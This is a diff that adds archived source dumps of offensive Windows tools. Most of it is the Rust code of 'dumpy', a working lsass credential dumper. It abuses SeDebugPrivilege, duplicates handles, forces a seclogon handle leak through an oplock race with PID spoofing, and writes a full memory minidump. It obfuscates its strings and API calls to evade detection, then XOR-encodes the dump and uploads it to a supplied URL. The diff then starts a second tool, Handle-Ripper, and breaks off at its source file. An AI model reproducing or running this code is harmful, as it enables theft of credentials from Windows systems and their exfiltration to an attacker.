+}
+
+```
+
+`dumpy/dumper/Cargo.toml`:
+
+```toml
+[package]
+name = "dumper"
+version = "0.1.0"
+edition = "2021"
+
+# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
+[profile.dev.package.dumper]
+opt-level = 2
+debug = 0
+
+[dependencies]
+bindings = { path = "../bindings" }
+data = { path = "../data" }
+dinvoke = { path = "../dinvoke" }
+litcrypt2 = "0.1.2"
+ureq = "*"
+rand = "0.8.4"
+base64 = "*"
+ntapi = "0.4"
+
+```
+
+`dumpy/dumper/src/lib.rs`:
+
+```rs
+//#![crate_type = "cdylib"]
+//cargo rustc -- --crate-type cdylib
+#[macro_use]
+extern crate litcrypt2;
+use_litcrypt!();
+
+extern crate base64;
+
+use bindings::Windows::Win32::Foundation::BOOL;
+use bindings::Windows::Win32::System::Threading::{GetCurrentThread, STARTUPINFOW, PROCESS_INFORMATION};
+use bindings::Windows::Win32::System::WindowsProgramming::IO_STATUS_BLOCK;
+use litcrypt2::lc;
+use rand::{thread_rng, Rng};
+use rand::distributions::Alphanumeric;
+use std::io::Cursor;
+use std::thread;
+use std::{fs::{self, File}, io::{Read, Write}, mem::size_of, ptr};
+use bindings::Windows::Win32::{Foundation::HANDLE, System::{Threading::GetCurrentProcess, WindowsProgramming::{CLIENT_ID, OBJECT_ATTRIBUTES, PUBLIC_OBJECT_TYPE_INFORMATION}}};
+use data::{PAGE_READONLY, PVOID, SYSTEM_HANDLE_INFORMATION, SYSTEM_HANDLE_TABLE_ENTRY_INFO, THREAD_BASIC_INFORMATION, GENERIC_READ, OVERLAPPED, REQUEST_OPLOCK_INPUT_BUFFER, REQUEST_OPLOCK_OUTPUT_BUFFER, THREAD_ALL_ACCESS, FILE_PROCESS_IDS_USING_FILE_INFORMATION};
+
+
+//#[no_mangle]
+//pub extern "Rust" fn dump(key: &str) {
+pub fn dump(key: &str, url: &str, leak: bool) {
+ unsafe
+ {
+ let lsass_pid = get_pid_from_image_path(&lc!("C:\\Windows\\System32\\lsass.exe")) as u16;
+ let mut target_pid = 0u16;
+
+ if leak
+ {
+ target_pid = get_pid_from_image_path(&lc!("C:\\Windows\\System32\\seclogon.dll")) as u16;
+ }
+
+ let privilege: u32 = 20;
+ let enable: u8 = 1;
+ let current_thread: u8 = 0;
+ let enabled: *mut u8 = std::mem::transmute(&u8::default());
+
+ //Enable SeDebugPrivilee
+ let r = dinvoke::rtl_adjust_privilege(privilege,enable,current_thread,enabled);
+
+ if r != 0
+ {
+ println!("{}",&lc!("[x] SeDebugPrivilege could not be enabled."));
+ return;
+ }
+ else
+ {
+ println!("{}", &lc!("[+] SeDebugPrivilege successfully enabled."));
+ }
+
+ if leak
+ {
+ force_leakage();
+ }
+
+ let shi: *mut SYSTEM_HANDLE_INFORMATION;
+ let mut ptr: PVOID;
+ let mut buffer;
+ let mut bytes = 0x10000;
+ let mut c = 0;
+
+ loop
+ {
+ buffer = vec![0u8; bytes as usize];
+ ptr = std::mem::transmute(buffer.as_ptr());
+ let bytes_ptr: *mut u32 = std::mem::transmute(&bytes);
+ // Query the system looking for handles information
+ let x = dinvoke::nt_query_system_information(16,ptr,bytes,bytes_ptr);
+
+ if x != 0
+ {
+ bytes *= 2;
+ }
+ else
+ {
+ shi = std::mem::transmute(ptr);
+ break;
+ }
+
+ c = c + 1;
+
+ if c > 20
+ {
+ println!("{}", &lc!("[x] Timeout. Call to NtQuerySystemInformation failed."));
+ }
+ }
+
+ println!("{}{}{}",&lc!("[+] Retrieved "), (*shi).number_of_handles, &lc!(" handles. Starting analysis..."));
+ let mut shtei: *mut SYSTEM_HANDLE_TABLE_ENTRY_INFO = std::mem::transmute(&(*shi).handles);
+ for counter in 0..(*shi).number_of_handles
+ {
+
+ if counter % 10000 == 0 && counter > 0
+ {
+ println!(" \\ {} handles have been analyzed so far...", counter);
+ }
+
+ if (*shtei).process_id > 4 && (*shtei).process_id != lsass_pid && ((*shtei).process_id == target_pid || target_pid == 0)
+ {
+ let h = HANDLE::default();
+ let handle_ptr: *mut HANDLE = std::mem::transmute(&h);
+ let o = OBJECT_ATTRIBUTES::default();
+ let object_attributes: *mut OBJECT_ATTRIBUTES = std::mem::transmute(&o);
+ let client_id = CLIENT_ID {UniqueProcess: HANDLE{0:(*shtei).process_id as isize}, UniqueThread: HANDLE::default()};
+ let client_id: *mut CLIENT_ID = std::mem::transmute(&client_id);
+
+ // PROCESS_DUP_HANDLE as access right
+ let x = dinvoke::nt_open_process(
+ handle_ptr,
+ 0x0040,
+ object_attributes,
+ client_id
+ );
+
+ let handle;
+ if x == 0
+ {
+ handle = *handle_ptr;
+ }
+ else
+ {
+ shtei = shtei.add(1);
+ continue;
+ };
+
+
+ if handle.0 != 0 && handle.0 != -1
+ {
+ let target = HANDLE {0: (*shtei).handle_value as isize};
+ let h = HANDLE::default();
+ let mut dup_handle: *mut HANDLE = std::mem::transmute(&h);
+ let mut desired_access: u32 = 0x0400|0x0010; // PROCESS_QUERY_INFORMATION & PROCESS_VM_READ
+ let mut options: u32 = 0;
+
+ // lsass handle obtained from seclogon's race condition cant be upgraded directly, two steps are required
+ // Therefore, we first duplicate the handle with the same access
+ if leak
+ {
+ desired_access = 0;
+ options = 0x00000002; // DUPLICATE_SAME_ACCESS
+ }
+
+ // Duplicate handle in order to manipulate it
+ let x = dinvoke::nt_duplicate_object(
+ handle,
+ target,
+ GetCurrentProcess(),
+ dup_handle,
+ desired_access,
+ 0,
+ options
+ );
+
+ if x != 0
+ {
+ shtei = shtei.add(1);
+ let _r = dinvoke::close_handle(handle).unwrap();
+ continue;
+ }
+
+ let poti = PUBLIC_OBJECT_TYPE_INFORMATION::default();
+ let poti_ptr: PVOID = std::mem::transmute(&poti);
+ let l = u32::default();
+ let ret_lenght: *mut u32 = std::mem::transmute(&l);
+
+ // We obtain information about the handle. Two calls to NtQueryObject are required in order to make it work.
+ let _ = dinvoke::nt_query_object(
+ *dup_handle,
+ 2,
+ poti_ptr,
+ size_of::() as u32,
+ ret_lenght
+ );
+
+ let buffer = vec![0u8; *ret_lenght as usize];
+ let poti_ptr: PVOID = std::mem::transmute(buffer.as_ptr());
+
+ let x = dinvoke::nt_query_object(
+ *dup_handle,
+ 2,
+ poti_ptr,
+ *ret_lenght,
+ ret_lenght
+ );
+
+ if x != 0
+ {
+ let _r = dinvoke::close_handle(*dup_handle).unwrap();
+ let _r = dinvoke::close_handle(handle).unwrap();
+ shtei = shtei.add(1);
+ continue;
+ }
+
+ let poti_ptr: *mut PUBLIC_OBJECT_TYPE_INFORMATION = std::mem::transmute(poti_ptr);
+ let poti = *poti_ptr;
+ let mut type_name: String = "".to_string();
+ let mut buffer: *mut u8 = poti.TypeName.Buffer.0 as *mut u8;
+ for _i in 0..poti.TypeName.Length
+ {
+ if *buffer as char != '\0'
+ {
+ type_name.push(*buffer as char);
+ }
+ buffer = buffer.add(1);
+
+ }
+
+ // We have a process handle
+ if type_name.to_lowercase() == "process"
+ {
+ if leak
+ {
+ let f = HANDLE::default();
+ let full_access_handle: *mut HANDLE = std::mem::transmute(&f);
+ // We need to upgrade our lsass handle to full accesss in order to be able to dump the memory content
+ let x = dinvoke::nt_duplicate_object(
+ *dup_handle,
+ GetCurrentProcess(),
+ GetCurrentProcess(),
+ full_access_handle,
+ THREAD_ALL_ACCESS,
+ 0,
+ 0
+ );
+
+ if x != 0
+ {
+ shtei = shtei.add(1);
+ let _r = dinvoke::close_handle(*dup_handle).unwrap();
+ let _r = dinvoke::close_handle(handle).unwrap();
+ continue;
+ }
+
+ let _r = dinvoke::close_handle(*dup_handle).unwrap();
+ dup_handle = full_access_handle;
+
+ }
+
+ let len = 500usize; // I dont really think it does exist a process image name longer than 500 characters
+ let buffer = vec![0u8; len];
+ let buffer: *mut u16 = std::mem::transmute(buffer.as_ptr());
+ let ret_len: *mut u32 = std::mem::transmute(&len);
+ let z = dinvoke::query_full_process_image_name(
+ *dup_handle,
+ 0,
+ buffer,
+ ret_len
+ );
+
+ if z == 0
+ {
+ shtei = shtei.add(1);
+ let _r = dinvoke::close_handle(*dup_handle).unwrap();
+ let _r = dinvoke::close_handle(handle).unwrap();
+ continue;
+ }
+
+ let mut image_name: String = "".to_string();
+ let mut buff: *mut u8 = std::mem::transmute(buffer);
+ for _i in 0..(*ret_len) * 2 // Each char is followed by \0. Lovely LPWSTR...
+ {
+ if *buff as char != '\0'
+ {
+ image_name.push(*buff as char);
+ }
+ buff = buff.add(1);
+ }
+
+ let temp = (*dup_handle).0;
+ // We have a valid process handled
+ if image_name.contains(&lc!("lsass.exe"))
+ {
+ println!("{}.", &lc!("[+] Valid handle to lssas found"));
+
+ // This is required due to Rust optimizations in order to keep the handle active.
+ let new_handle = HANDLE { 0: temp};
+ let dup_handle: *mut HANDLE = std::mem::transmute(&new_handle);
+ (*dup_handle).0 = temp;
+
+ let description = "\0\0".as_ptr() as *mut u16;
+ let z = dinvoke::create_transaction(
+ ptr::null_mut(),
+ ptr::null_mut(),
+ 0,
+ 0,
+ 0,
+ 0,
+ description
+ );
+
+ let transaction_handle: HANDLE;
+ if z.0 == -1
+ {
+ shtei = shtei.add(1);
+ let _r = dinvoke::close_handle(*dup_handle).unwrap();
+ let _r = dinvoke::close_handle(handle).unwrap();
+
+ println!("{}", &lc!("[x] Transaction creation failed."));
+ continue;
+ }
+ else
+ {
+ transaction_handle = z;
+ }
+
+ let m = 0xffffu32;
+ let mini: *const u32 = std::mem::transmute(&m);
+ let rand_string: String = thread_rng()
+ .sample_iter(&Alphanumeric)
+ .take(20)
+ .map(char::from)
+ .collect();
+
+ let file_name = format!(".\\{}{}", rand_string, ".log");
+ let file_name = file_name.as_ptr() as *mut u8;
+ let z = dinvoke::create_file_transacted(
+ file_name,
+ 0x80000000 | 0x40000000,
+ 0x00000002,
+ ptr::null(),
+ 0x00000001,
+ 0x100 | 0x04000000,
+ HANDLE::default(),
+ transaction_handle,
+ mini,
+ ptr::null_mut()
+ );
+
+ let transacted_file_handle: HANDLE;
+ if z.0 == -1
+ {
+ let _r = dinvoke::close_handle(transaction_handle).unwrap();
+ let _r = dinvoke::close_handle(*dup_handle).unwrap();
+ let _r = dinvoke::close_handle(handle).unwrap();
+ shtei = shtei.add(1);
+
+ println!("{}", &lc!("[x] Transacted file creation failed."));
+ continue;
+ }
+ else
+ {
+ transacted_file_handle = z;
+ }
+
+ // We use the duplicated handle to dump the process memory
+ let x = dinvoke::mini_dump_write_dump(
+ *dup_handle,
+ 0,
+ transacted_file_handle,
+ 0x00000002, // MiniDumpWithFullMemory
+ ptr::null_mut(),
+ ptr::null_mut(),
+ ptr::null_mut()
+ );
+
+ if x == 1
+ {
+ println!("{}",&lc!("[!] Lsass dump created!"));
+
+ let dump_size = dinvoke::get_file_size(
+ transacted_file_handle,
+ ptr::null_mut()
+ );
+
+ let z = dinvoke::create_file_mapping(
+ transacted_file_handle,
+ ptr::null(),
+ PAGE_READONLY,
+ 0,
+ 0,
+ ptr::null_mut()
+ );
+
+
+ let map_handle: HANDLE;
+ if z.0 == -1
+ {
+ shtei = shtei.add(1);
+ let _r = dinvoke::close_handle(transacted_file_handle).unwrap();
+ let _r = dinvoke::close_handle(transaction_handle).unwrap();
+ let _r = dinvoke::close_handle(*dup_handle).unwrap();
+ let _r = dinvoke::close_handle(handle).unwrap();
+ continue;
+ }
+ else
+ {
+ map_handle = z;
+ }
+
+ let ret = dinvoke::map_view_of_file(
+ map_handle,
+ 4, // FILE_MAP_READ
+ 0,
+ 0,
+ 0
+ );
+
+ let mut view_ptr = ret as *mut u8;
+
+ let key = format!("{}{}", key, "\0");
+ let mut key_ptr = key.as_ptr();
+ let mut xor_key: u8 = *key_ptr;
+ key_ptr = key_ptr.add(1);
+ while *key_ptr != '\0' as u8
+ {
+ xor_key = xor_key ^ *key_ptr;
+ key_ptr = key_ptr.add(1);
+ }
+
+ let mut view_xor: Vec = vec![];
+ for _i in 0..dump_size
+ {
+ view_xor.push(*view_ptr ^ xor_key);
+ view_ptr = view_ptr.add(1);
+ }
+
+ let rand_string: String = thread_rng()
+ .sample_iter(&Alphanumeric)
+ .take(7)
+ .map(char::from)
+ .collect();
+
+ if url == ""
+ {
+ let holder: Vec = vec![0;dump_size as usize + 1];
+ let mut h: *mut u8 = holder.as_ptr() as *mut u8;
+ h = h.add(1);
+ std::ptr::copy_nonoverlapping(view_xor.as_ptr() as *const _, h, dump_size as usize);
+ let output_path = format!("{}{}", rand_string, ".txt");
+ let mut file = std::fs::File::create(&output_path).unwrap();
+ let _r = file.write(holder.as_slice()).unwrap();
+
+ println!("{} {}.", &lc!("[+] Memory dump written to file"), output_path.as_str());
+
+ }
+ else
+ {
+ let rand_boundary: String = thread_rng()
+ .sample_iter(&Alphanumeric)
+ .take(16)
+ .map(char::from)
+ .collect();
+
+ let boundary: &str = &format!("{},{}", "------------------------", rand_boundary);
+ let mut data = Vec::new();
+ let _ = write!(data, "--{}\r\n", boundary);
+ let _ = write!(data, "Content-Disposition: form-data; name=\"file\"; filename=\"{}\"\r\n", rand_string);
+ let _ = write!(data, "Content-Type: text/plain\r\n");
+ let _ = write!(data, "\r\n");
+
+ let _ = write!(data, "{}", base64::encode(&view_xor));
+ let _ = write!(data, "\r\n"); // The key thing you are missing
+ let _ = write!(data, "--{}--\r\n", boundary);
+
+ let read = Cursor::new(&data);
+ let cont_type = format!("multipart/form-data; boundary={}", boundary);
+ let _ = ureq::post(url)
+ .set("content-type",cont_type.as_str())
+ .set("Content-Length", data.len().to_string().as_str())
+ .send(read);
+
+ println!("{}", &lc!("[+] File uploaded."));
+ }
+
+ let _unmap = dinvoke::unmap_view_of_file(ret);
+ let _ret = dinvoke::rollback_transaction(transaction_handle);
+
+ let _r = dinvoke::close_handle(transacted_file_handle).unwrap();
+ let _r = dinvoke::close_handle(map_handle).unwrap();
+ let _r = dinvoke::close_handle(transaction_handle).unwrap();
+
+ return;
+ }
+ else
+ {
+ println!("{}", &lc!("[x] Call to MiniDumpWriteDump failed."));
+ let error = dinvoke::get_last_error();
+ println!("[x] Error: {error}");
+ let _r = dinvoke::close_handle(transacted_file_handle).unwrap();
+ let _r = dinvoke::close_handle(transaction_handle).unwrap();
+ }
+ }
+ }
+
+ let _r = dinvoke::close_handle(*dup_handle).unwrap();
+ }
+
+ let _r = dinvoke::close_handle(handle).unwrap();
+ }
+
+ shtei = shtei.add(1);
+
+ }
+
+ println!("{}", &lc!("[x] Could not retrieve a valid handle. Exiting."));
+
+ }
+}
+
+pub fn force_leakage()
+{
+ unsafe
+ {
+ let mut file: Vec = lc!("c:\\Windows\\System32\\license.rtf").encode_utf16().collect();
+ file.push(0);
+
+ let k32 = dinvoke::get_module_base_address(&lc!("kernel32.dll"));
+ let create_file: data::CreateFile;
+ let create_file_r: Option;
+ // 3 = OPEN_EXISTING
+ // 0x40000000 = FILE_FLAG_OVERLAPPED
+ dinvoke::dynamic_invoke!(k32,&lc!("CreateFileW"),create_file,create_file_r,file.as_ptr() as *const u16,GENERIC_READ,0,ptr::null(),3,0x40000000,HANDLE {0: 0});
+
+ let file_handle = create_file_r.unwrap();
+
+ let mut overlapped: OVERLAPPED = OVERLAPPED::default();
+ let create_event: data::CreateEvent;
+ let create_event_r: Option;
+ dinvoke::dynamic_invoke!(k32,&lc!("CreateEventW"),create_event,create_event_r,ptr::null(),false,false,ptr::null());
+
+ overlapped.event_handle = create_event_r.unwrap();
+
+ let mut input_buffer = REQUEST_OPLOCK_INPUT_BUFFER::default();
+ let mut output_buffer = REQUEST_OPLOCK_OUTPUT_BUFFER::default();
+ input_buffer.structure_version = 1; // REQUEST_OPLOCK_CURRENT_VERSION
+ input_buffer.structure_length = size_of::() as u16;
+ input_buffer.requested_oplock_level = 0x00000001 | 0x00000002; // OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE
+ input_buffer.flags = 0x00000001; // REQUEST_OPLOCK_INPUT_FLAG_REQUEST
+ output_buffer.structure_version = 1;
+ output_buffer.structure_length = size_of::() as u16;
+ let input: PVOID = std::mem::transmute(&input_buffer);
+ let output: PVOID = std::mem::transmute(&output_buffer);
+ let over: *mut OVERLAPPED = std::mem::transmute(&overlapped);
+ let unsued = 0u32;
+ let bytes_ret: *mut u32 = std::mem::transmute(&unsued);
+ let device_oi_control: data::DeviceIoControl;
+ let _r: Option;
+ let fsctl_request_oplockc = ((0x00000009)<<16) | ((0) <<14) | ((144)<<2) | (0);
+ dinvoke::dynamic_invoke!(k32,&lc!("DeviceIoControl"),device_oi_control,_r,file_handle,fsctl_request_oplockc,input,size_of::() as u32,
+ output, size_of::() as u32, bytes_ret, over);
+
+
+ let get_last_error: unsafe extern "system" fn () -> u32;
+ let get_last_error_r: Option;
+ dinvoke::dynamic_invoke!(k32,&lc!("GetLastError"),get_last_error,get_last_error_r,);
+ // 997 = ERROR_IO_PENDING
+ if get_last_error_r.unwrap() != 997
+ {
+ println!("{}",&lc!("[x] Handle leakage failed."));
+ return;
+ }
+
+ thread::spawn(||
+ {
+ let tbi: *mut THREAD_BASIC_INFORMATION;
+ let mut ptr: PVOID;
+ let mut buffer;
+ let mut bytes = 48u32;
+ let mut c = 0;
+
+ loop
+ {
+ buffer = vec![0u8; bytes as usize];
+ ptr = std::mem::transmute(buffer.as_ptr());
+ let re = 0u32;
+ let bytes_ptr: *mut u32 = std::mem::transmute(&re);
+ // Get current thread's basic information
+ let x = dinvoke::nt_query_information_thread(GetCurrentThread(), 0,ptr,bytes,bytes_ptr);
+
+ if x != 0
+ {
+ bytes = *bytes_ptr;
+ }
+ else
+ {
+ tbi = std::mem::transmute(ptr);
+ break;
+ }
+
+ c = c + 1;
+
+ if c > 20
+ {
+ println!("{}", &lc!("[x] Timeout. Call to NtQueryInformationThread failed."));
+ }
+ }
+
+ let teb: *mut ntapi::ntpebteb::TEB = std::mem::transmute((*tbi).teb_base_address);
+ let spoofed_pid = get_pid_from_image_path(&lc!("C:\\Windows\\system32\\lsass.exe")) as isize;
+ let dst_ptr: *mut CLIENT_ID = std::mem::transmute(&(*teb).ClientId);
+ let spoofed_pid = CLIENT_ID {UniqueProcess:HANDLE {0: spoofed_pid}, UniqueThread: (*tbi).client_id.UniqueThread};
+ let src_ptr: *mut CLIENT_ID = std::mem::transmute(&spoofed_pid);
+
+ // TEB pid spoofing
+ std::ptr::copy_nonoverlapping(src_ptr, dst_ptr, 1);
+
+ let adv = dinvoke::get_module_base_address(&lc!("advapi32.dll"));
+ let create_process_with_logon: data::CreateProcessWithLogon;
+ let _create_process_with_logon_r: Option;
+ let mut username: Vec = lc!("username").encode_utf16().collect();
+ username.push(0);
+ let mut domain: Vec = lc!("domain").encode_utf16().collect();
+ domain.push(0);
+ let mut pass: Vec = lc!("password").encode_utf16().collect();
+ pass.push(0);
+ let mut file: Vec = lc!("c:\\Windows\\System32\\license.rtf").encode_utf16().collect();
+ file.push(0);
+ let startup = vec![0u8;size_of::()];
+ let startupinfo: *const STARTUPINFOW = std::mem::transmute(startup.as_ptr());
+ let p = PROCESS_INFORMATION::default();
+ let process_information: *mut PROCESS_INFORMATION = std::mem::transmute(&p);
+
+ // 0x00000002 = LOGON_NETCREDENTIALS_ONLY
+ dinvoke::dynamic_invoke!(adv,&lc!("CreateProcessWithLogonW"),create_process_with_logon,_create_process_with_logon_r,username.as_ptr() as *const u16,
+ domain.as_ptr() as *const u16, pass.as_ptr() as *const u16,0x00000002,ptr::null(),file.as_ptr() as *mut u16,0,
+ ptr::null(),ptr::null(),startupinfo,process_information);
+
+ });
+
+ let d = u32::default();
+ let dw_bytes: *mut u32 = std::mem::transmute(&d);
+ let get_overlapped_result: data::GetOverlappedResult;
+ let get_overlapped_result_r: Option;
+ dinvoke::dynamic_invoke!(k32,&lc!("GetOverlappedResult"),get_overlapped_result,get_overlapped_result_r,file_handle,over,dw_bytes,true);
+ if !get_overlapped_result_r.unwrap().as_bool()
+ {
+ println!("{}", &lc!("[x] Something went wrong."));
+ return;
+ }
+ else
+ {
+ println!("{}", &lc!("[+] Handle to lsass leaked."));
+ }
+ }
+}
+
+pub fn get_pid_from_image_path(path: &str) -> usize
+{
+ unsafe
+ {
+ let mut file: Vec = path.encode_utf16().collect();
+ file.push(0);
+ let k32 = dinvoke::get_module_base_address(&lc!("kernel32.dll"));
+ let create_file: data::CreateFile;
+ let create_file_r: Option;
+ // 0x80 = FILE_READ_ATTRIBUTES
+ // 3 = OPEN_EXISTING
+ // 0x00000001|0x00000002|0x00000004 = FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE
+ dinvoke::dynamic_invoke!(k32,&lc!("CreateFileW"),create_file,create_file_r,file.as_ptr() as *const u16,0x80,0x00000001|0x00000002|0x00000004,ptr::null(),
+ 3,0,HANDLE {0: 0});
+
+ let file_handle = create_file_r.unwrap();
+
+ let fpi: *mut FILE_PROCESS_IDS_USING_FILE_INFORMATION;
+ let ios: Vec = vec![0u8; size_of::()];
+ let iosb: *mut IO_STATUS_BLOCK = std::mem::transmute(&ios);
+ let mut ptr: PVOID;
+ let mut buffer;
+ let mut bytes = size_of::() as u32;
+ let mut c = 0;
+
+ loop
+ {
+ buffer = vec![0u8; bytes as usize];
+ ptr = std::mem::transmute(buffer.as_ptr());
+ // 47 = FileProcessIdsUsingFileInformation
+ let x = dinvoke::nt_query_information_file(file_handle, iosb,ptr,bytes,47);
+
+ if x != 0
+ {
+ bytes *= 2;
+ }
+ else
+ {
+ fpi = std::mem::transmute(ptr);
+ let _r = dinvoke::close_handle(file_handle);
+ // Access denied error pops if this pointer is not liberated.
+ (*iosb).Anonymous.Pointer = ptr::null_mut();
+ return (*fpi).process_id_list[0];
+ }
+
+ c = c + 1;
+
+ if c > 20
+ {
+ println!("{}", &lc!("[x] Timeout. Call to NtQueryInformationFile failed."));
+ break;
+ }
+ }
+
+ let _r = dinvoke::close_handle(file_handle);
+
+ 0
+ }
+}
+
+pub fn decrypt (file_path: &str, key: &str, output_file: &str)
+{
+ unsafe{
+
+ let mut file = File::open(file_path).expect("[x] Error opening input file.");
+ let metadata = fs::metadata(file_path).unwrap();
+ let mut buffer = vec![];
+ file.read_to_end(&mut buffer).unwrap();
+
+
+ let mut buffer_ptr = buffer.as_ptr().add(1);
+ let key = format!("{}{}", key, "\0");
+ let mut key_ptr = key.as_ptr();
+ let mut xor_key: u8 = *key_ptr;
+ key_ptr = key_ptr.add(1);
+ while *key_ptr != '\0' as u8
+ {
+ xor_key = xor_key ^ *key_ptr;
+ key_ptr = key_ptr.add(1);
+ }
+
+ let mut file_content: Vec = vec![];
+ for _i in 0..metadata.len()
+ {
+ file_content.push(*buffer_ptr ^ xor_key);
+ buffer_ptr = buffer_ptr.add(1);
+ }
+
+ let mut output = std::fs::File::create(output_file).unwrap();
+ let _r = output.write_all(&file_content).unwrap();
+ }
+
+ println!("{}", &lc!("[+] Successfully decrypted minidump file."))
+
+}
+
+```
+
+`dumpy/src/main.rs`:
+
+```rs
+#[macro_use]
+extern crate litcrypt2;
+use_litcrypt!();
+
+extern crate getopts;
+use std::{env};
+use getopts::Options;
+
+fn main() {
+
+ start();
+}
+
+fn print_usage(program: &str, opts: Options) {
+ let brief = format!("Usage: {} --dump|--decrypt [options]", program);
+ print!("{}", opts.usage(&brief));
+}
+
+fn start() {
+
+ let mut force = false;
+ let mut upload = "".to_string();
+ let mut key = lc!("1234abcd");
+ let mut output = lc!("c:\\temp\\output.txt");
+ let mut input = lc!("c:\\temp\\input.txt");
+
+ let args: Vec = env::args().collect();
+ let program = args[0].clone();
+ let mut opts = Options::new();
+ opts.optflag("h", "help", "Print this help menu.");
+ opts.optflag("", "dump", "Dump lsass.");
+ opts.optflag("", "decrypt", "Decrypt a previously generated dump file.");
+ opts.optflag("f", "force", "Force seclogon's service to leak a lsass handle through a race condition.");
+ opts.optopt("k", "key", "Encryption key [default: 1234abcd]", "");
+ opts.optopt("i", "input", r"Encrypted dump file [default: c:\temp\input.txt]", "");
+ opts.optopt("o", "output", r"Destination path [default: c:\temp\output.txt]", "");
+ opts.optopt("u", "upload", "Upload URL", "");
+
+
+ let matches = match opts.parse(&args[1..]) {
+ Ok(m) => { m }
+ Err(_) => {print!("{}",lc!("[x] Invalid arguments. Use -h for detailed help.")); return; }
+ };
+
+ if matches.opt_present("h") {
+ print_usage(&program, opts);
+ return;
+ }
+
+ if matches.opt_present(&lc!("dump"))
+ {
+
+ if matches.opt_present("u")
+ {
+ upload = matches.opt_str("u").unwrap();
+ }
+ if matches.opt_present("f")
+ {
+ force = true;
+ }
+ if matches.opt_present("k")
+ {
+ key = matches.opt_str("k").unwrap();
+ }
+
+ dumper::dump(&key, &upload, force);
+
+ }
+ else if matches.opt_present(&lc!("decrypt"))
+ {
+
+ if matches.opt_present("i")
+ {
+ input = matches.opt_str("i").unwrap();
+
+ }
+ if matches.opt_present("o")
+ {
+ output = matches.opt_str("o").unwrap();
+ }
+ if matches.opt_present("k")
+ {
+ key = matches.opt_str("k").unwrap();
+ }
+
+ dumper::decrypt(&input, &key, &output);
+
+ }
+ else
+ {
+ print!("{}",lc!("[x] Invalid arguments. Use -h for detailed help."));
+ }
+
+}
+
+```
\ No newline at end of file
diff --git a/archive/gmh5225/Handle-Ripper.txt b/archive/gmh5225/Handle-Ripper.txt
new file mode 100644
index 00000000..e3e6c7cc
--- /dev/null
+++ b/archive/gmh5225/Handle-Ripper.txt
@@ -0,0 +1,384 @@
+Project Path: arc_gmh5225_Handle-Ripper_wa_7bu77
+
+Source Tree:
+
+```txt
+arc_gmh5225_Handle-Ripper_wa_7bu77
+├── Handle-Ripper
+│ ├── Handle-Ripper.vcxproj
+│ ├── Handle-Ripper.vcxproj.filters
+│ └── Source.cpp
+├── Handle-Ripper.sln
+└── README.md
+
+```
+
+`Handle-Ripper.sln`:
+
+```sln
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 17
+VisualStudioVersion = 17.2.32616.157
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Handle-Ripper", "Handle-Ripper\Handle-Ripper.vcxproj", "{B86CD02B-77F2-4D30-9638-2AD8CF2055D9}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|x64 = Debug|x64
+ Debug|x86 = Debug|x86
+ Release|x64 = Release|x64
+ Release|x86 = Release|x86
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {B86CD02B-77F2-4D30-9638-2AD8CF2055D9}.Debug|x64.ActiveCfg = Debug|x64
+ {B86CD02B-77F2-4D30-9638-2AD8CF2055D9}.Debug|x64.Build.0 = Debug|x64
+ {B86CD02B-77F2-4D30-9638-2AD8CF2055D9}.Debug|x86.ActiveCfg = Debug|Win32
+ {B86CD02B-77F2-4D30-9638-2AD8CF2055D9}.Debug|x86.Build.0 = Debug|Win32
+ {B86CD02B-77F2-4D30-9638-2AD8CF2055D9}.Release|x64.ActiveCfg = Release|x64
+ {B86CD02B-77F2-4D30-9638-2AD8CF2055D9}.Release|x64.Build.0 = Release|x64
+ {B86CD02B-77F2-4D30-9638-2AD8CF2055D9}.Release|x86.ActiveCfg = Release|Win32
+ {B86CD02B-77F2-4D30-9638-2AD8CF2055D9}.Release|x86.Build.0 = Release|Win32
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+ GlobalSection(ExtensibilityGlobals) = postSolution
+ SolutionGuid = {DFE426F1-5758-41CB-8DD3-0F4791CB3379}
+ EndGlobalSection
+EndGlobal
+
+```
+
+`Handle-Ripper/Handle-Ripper.vcxproj`:
+
+```vcxproj
+
+
+
+
+ Debug
+ Win32
+
+
+ Release
+ Win32
+
+
+ Debug
+ x64
+
+
+ Release
+ x64
+
+
+
+ 16.0
+ Win32Proj
+ {b86cd02b-77f2-4d30-9638-2ad8cf2055d9}
+ HandleRipper
+ 10.0
+
+
+
+ Application
+ true
+ v143
+ Unicode
+
+
+ Application
+ false
+ v143
+ true
+ Unicode
+
+
+ Application
+ true
+ v143
+ MultiByte
+
+
+ Application
+ false
+ v143
+ true
+ Unicode
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Level3
+ true
+ WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ true
+ true
+ WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+ true
+ true
+
+
+
+
+ Level3
+ true
+ _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ true
+ true
+ NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+ true
+ true
+
+
+
+
+
+
+
+
+
+```
+
+`Handle-Ripper/Handle-Ripper.vcxproj.filters`:
+
+```filters
+
+
+
+
+ {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
+ cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
+
+
+ {93995380-89BD-4b04-88EB-625FBE52EBFB}
+ h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
+
+
+ {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
+ rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
+
+
+
+
+ Source Files
+
+
+
+```
+
+`Handle-Ripper/Source.cpp`:
+
+```cpp
+#include
+#include
+#include
+
